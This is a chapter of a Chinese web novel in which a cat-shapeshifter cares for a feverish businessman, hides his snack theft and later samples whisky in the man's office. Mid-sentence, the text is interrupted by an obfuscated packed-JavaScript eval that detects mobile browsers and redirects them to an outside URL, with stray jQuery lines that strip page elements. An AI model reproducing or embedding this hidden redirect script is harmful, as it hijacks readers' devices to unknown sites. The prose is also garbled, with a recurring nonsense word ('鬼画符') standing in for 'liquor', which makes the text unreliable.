第十六章


    两人同时征住了。


    姜择爱翻身推开男人，紧抿着唇，一副极度委屈的样子。


    这个臭坏蛋！耍流氓！


    他吸吸鼻子，用袖子擦了擦脸颊上的泪珠，凶巴巴看着靠在床尾处的男人，发出了均匀的呼吸声。


    ……


    最后姜择爱半推半就让男人在地上平躺好，隔五秒钟就伸出手指去试探他的鼻息。


    那人刚刚手在他腰上攥了半天，到现在姜择爱都觉得那个地方跟被火烧了似的。


    他又去床上把被子扯下来盖在男人身上，男人的浴袍上半截已经完全垮了下来，虽然已经看过一次**，但姜择爱还是自觉闭上了眼睛，凭感觉给男人盖被子。


    结果被子盖到了眼睛上面，他又急忙往下拉了拉。


    男人的头发还在滴水，这样子肯定会加重生病的。


    他又跑到浴室找来吹风机，就近插上插头，调到最小挡位给男人吹头发。


    哎，毕竟是自己害男人生病了……


    但又想到刚才男人对自己的所作所为，咪又拿着吹风机对着他的脸狠狠吹了几下。


    给男人吹好头发后，又接着吹自己的裤子。


    吹风机嗡嗡的，姜择爱担心会吵醒他，干脆站起身跑到浴室关上门接着吹。


    最后，他拿起刚刚给男人敷额头的毛巾，沾上水开始擦墙壁，擦镜子。


    墙上的番茄酱是怎么也擦不干净的，最后糊成了一坨，算了，只要不是字就行，这样又能栽赃给小猫了。


    自己的计划就此失败，但看着男人刚刚这么难受的样子，小猫更多的是内疚，家里莫名其妙地闹鬼，可能真的很多人都一时接受不了，他能理解，还好男人最后没出个好歹，不然他被吓死变成了鬼魂，肯定要来找自己索命，一辈子都缠着自己的那种。


    他走出浴室，发现男人换了个姿势，但眉毛并没有完全舒展开。


    不知道男人会不会做噩梦，明天早上醒来还会不会害怕。


    姜择爱犹豫一会儿，在男人身边躺下，伸手，扒拉他的眉毛。


    “人，不可以皱眉，运气会变差。”


    他又把手指移到男人的唇边，往上拉了拉。


    “噗。”


    姜择爱没忍住笑一声，又立马捂住了自己的嘴。


    “臭坏蛋，等我逃出去，我就……”


    “我就……”


    姜择爱做出凶巴巴的表情，“我就再也不要理你！”


    等到眼皮开始下沉后，他干脆变回了小猫，钻进被子里，贴在男人的身侧，还把尾巴搭在他的腹部。


    勉强自愿当一晚上小猫守护神吧。


    夜里，它感受到男人微微发烫的身体，自己被抱在怀里，快被热化了，本想挣脱出去，但一面又想着男人现在可能很害怕，探出去的身子又缩了回去。


    “宝宝。”


    在说梦话吗？


    小猫还是喵一声回应了。


    “只准，吃猫粮。”


    “.............”


    小猫第二天醒得格外的早，睁开眼后先是看到了地毯上凌乱的被子，然后是男人的背影。


    已经穿好了衣服的，一动不动的背影，正盯着墙上那一坨番茄酱遗迹。


    接着转身进了浴室，小猫猜测他应该是去看镜子了。


    它立马溜走去了客厅，男人没过一会儿也紧接着出来了，先是看了自己一眼，然后开始在厨房给它做饭，做到一半突然想起来什么似的，拿起小猫碗往里倒猫粮，最后放在了小猫面前。


    男人应该是彻底清醒了，都想起自己说过的话了，小猫没吃但也没再掀碗，只是跳到了沙发上。


    “高助，十点左右的客户接待，务必把资料准备好，提前跟李总同步下信息，下午的会议由我来谈......”


    小猫时不时偷瞄男人一眼，发现他的神情和语气已经跟往常没有了区别，现在能处理工作，脑袋应该也没烧糊涂，不知道他能不能想起昨天晚上的诡异事情。


    有点心虚。


    陈憬一早起来脑袋还有点胀痛，但比起昨晚已经好了不少，小猫正躺在自己的怀里呼呼大睡，他肌肉记忆去够床头柜上的手机，这才发现自己在地毯上睡了一夜。


    怎么回事？


    看到旁边倒地的空酒瓶，昨天断断续续的画面开始在脑海立马浮现。


    先是他进家门，发现小猫今天很乖，没有捣乱，接着他检查了浴室和客房，最后才进了主卧，打开灯后，发现了墙上的“鬼”字。


    想到这儿，陈憬立马掀开被子起身，却发现墙上没有了“鬼”字，那一大块儿墙，被番茄酱给摸匀了。


    他沉默着去浴室洗澡，镜子上也干干净净，仿佛“拿命来”那三个字真的只是自己的幻觉。


    可墙上的番茄酱怎么解释，他站在床头冷静思考了很久，直到瞥见小猫悄悄咪咪去了客厅才回过神来。


    应该只是自己的幻觉，这几天工作很忙，加上那通电话，让他把小猫捣乱弄在墙上的一坨番茄酱看成了“鬼”字，还在生病的时候幻听，感觉有人好像在掐他的脸......


    “……”


    他捏了捏自己的山根，最后还是打开手机，点进了浏览器。


    问：家里养的小猫会写字正常吗？


    答：猫咪会写字属于异常行为，可能和以下原因有关：


    1、疾病或损伤：神经系统疾病，脑部损伤......


    2、环境刺激：长期处于压力环境或者受到惊吓......


    3、模仿学习：这种情况极为少见，猫咪可能观察人类书写模仿行为......


    小猫看到男人的眼睛又闭上了，而且表情说不出的冷，它以为这个人类又开始生病，立马从沙发上面跳下来，“喵喵”叫着跑到男人面前。


    它毛茸茸的脑袋去拱了拱男人的手。


    男人没像往常一样开始摸它，反而转身去了开放厨房，接着抬手要拉开最上面的橱柜。


    小猫眼睛猝然瞪大，一个飞扑挂到了男人的手臂上。


    “喵！”


    不可以哇！


    陈憬记得自己之前买过咖啡浓缩液，本想着将就泡一杯醒醒神，结果不知道小猫今天怎么这么奇怪，变得比平时黏人了许多，居然会往他身上扑了。


    “宝宝，下去。”


    “喵~”小猫现在心虚得要命，男人要开的柜子就是放那袋零食的柜子，里面已经被小猫掏空了大半，男人只要不瞎一定能看出来的。


    他这么怕鬼，要是发现还有一只贪吃鬼在家，不得又吓得晕厥过去啊！千万不能让男人现在打开橱柜！


    小猫死死抱着他的一边胳膊，跟个挂件似的，而陈憬另外一只手正托着小猫的屁股，这么大一只猪咪悬空挂着，他害怕小猫会吧唧掉地上去。


    “宝宝。”


    男人声音透着点儿不易察觉的疲惫。


    可小猫还是不愿意松手，墨绿色的大眼睛眼巴巴看着陈憬。


    无法，他只好走到沙发边，把小猫轻轻拽了下去，但这只咪今天突然变成了狗皮膏药，把它撕下来扔了，过两秒钟它又立马贴上来。


    特别奇怪。其实要说奇怪，陈憬觉得从昨天他到家开始，就没一件正常事。


    他实在无法把昨天看到的那四个字单纯归结于自己的幻想，还有昏沉间那样真实的话语声，温凉的手放在他脸上的触感和……


    他低头看着身上圆滚滚的小猫，第一次脑子里面如此混乱。被缠得没有了办法，最后竟忘了自己要冲咖啡这个事情。


    午饭简单解决了过后，陈憬就叫司机把自己接去了公司，顺手把小猫一同捎上了。


    尽管他知道自己把小猫带去公司自己也抽不出时间照看它，但最近心里总觉得把小猫单独留在家，就好像把不足月大的孩子一个人放家里，心里总觉得会出点儿什么事。


    一到公司，高濯就拿着一沓资料迎了上来，陈憬手中抱着小猫，很自然把它交还给了高濯。


    小猫觉得这个场景莫名有点像黑市买卖，一手交猫一手交货。


    “陈总，第三季度的市场检测数额确实存在异常，半个小时后的......”


    小猫听不懂两人在说什么，不过还是老老实实没有动，高濯的工作牌吊在脖子上，一会儿在小猫的头上刮一下，一会儿在小猫的脸上刮一下，它“喵喵”两声提醒高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366154|183606||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    濯，但接收无效。


    等陈憬交接好进入会议室后，小猫就被单独锁在了他的办公室里。


    小猫最讨厌开会了，它打工的时候，那个臭老板每次开会就是折磨人，话说不到点子上就算了，还动不动就拿员工开唰，左一句不满意，右一句不达标，就是不想想自己的问题，折磨膝盖的啤酒肚往桌子上一撂就是两个小时起步。


    姜择爱把办公室的门从里面反锁好，先是百无聊赖在沙发上躺了一会儿，接着又站到玻璃窗前看风景。


    该说不说，这个男人还挺会享受的，高层的视野很辽阔，这个方位往外面看，能看到横跨半个城市的长江，高矮错落的建筑群下是络绎不绝的车辆，现在已经只有姜择爱半个手掌的大小了。


    转头时，他看到了那副“画”，被男人规规整整放在了一个空相框里，姜择爱小心将其拿起来，心里有一阵说不清道不明的感受升起。


    他以为男人那天只是看在那个叔叔的面子上，才把这副潦草的小猫爪爪画带回了家，之后应该随便扔进了哪个垃圾桶里，却没有想到被男人保存了起来，并且放在了他每天都能看到的位置。


    心里一点别样的感觉升起。


    他把相框原封不动放了回去，觉得好像靠左了一些，又轻轻往右边挪了挪。


    男人的办公室很整洁，姜择爱左右扫一眼，虽然觉得有些不好，但还是拉开了办公桌的抽屉。


    万一有家门钥匙呢。


    结果抽屉里全是文件。


    姜择爱立马合上，自己还是很有道德操守的。


    晃着晃着，又去了休息室，里面有股淡淡的清香味，男人挂了几件外套在里面。


    等等，姜择爱脚步一顿，看到有一件衣服长得异常的眼熟。


    黑色长袖T恤。


    他凑上回去闻了闻。


    自己那天偷偷拿来穿的，又偷偷拿去暴晒了，最后偷偷放回去的那一件。


    怎么这么巧，自己不是还故意拿的放得最偏僻的衣服吗？


    姜择爱啧一声，真是难以捉摸的男人。


    他今天才注意到休息室里还有一个两层的小玻璃展柜，放的几乎都是鬼画符。


    鬼画符。


    小猫揉揉鼻子，自己从来没有喝过鬼画符，他不喜欢那股味道。


    但想起昨晚的场景，男人带着淡淡酒味的气息确并不让自己觉得很讨厌。


    鬼画符是什么味道？


    姜择爱移开展柜玻璃，第一层放的全是矿泉水，第二层放的是鬼画符。


    鬼画符的瓶身上很多都标着数字，什么意思？是价格吗？


    他思考了一下，伸手拿出了那瓶标着数字“18”的鬼画符


    嗯，如果是价格的话，那这应该是里面最便宜的一瓶了。


    瓶身上面写着：MACALLAN


    他不认识，瓶身冰冰凉凉的，瓶盖也貌似很严实，他左手手指搭上去，用力一扭，扭不开。


    姜择爱又换成右手，他坐在地上，把瓶子底部抵住自己的肚子，指甲都微微泛白了，终于听见瓶盖松动的声音。


    “嘭”一声拧开盖子后，很快就闻到了一股酒的气味，那就是鬼画符没错了。


    他晃晃酒瓶，伸出舌尖轻轻沾了一点儿，然后立马缩回去。


    有点麻麻的，但没试出来味儿。


    于是更大胆了些，姜择爱直接往嘴里倒了一大口。


    “......”


    巨大的医用酒精混合消毒水的味道！


    他皱着眉毛咕噜吞了下去，嗓子里都被辣痛了！立马张开嘴吸气。


    好难喝的鬼画符！


    难不成是自己喝的方式不对，要等酒的味道在自己的口腔里慢慢散开？


    姜择爱若有所思点点头，又是一口含进了嘴里。


    他腮帮子鼓鼓的，白净的脸颊已经变成了淡红色，粉嫩的嘴唇沾着几滴酒，在灯光下泛着水光。


    憋不住了，他咕噜一声又吞了下去。


    姜择爱一动不动了几秒，接着眼眶就湿了，泪珠在墨绿色的瞳仁周围不停打着转，他嘟着嘴眨一眨眼，瞬间被辣得落了两行泪，晶莹的水珠从他愈发泛红的脸颊上一路滑落到锁骨。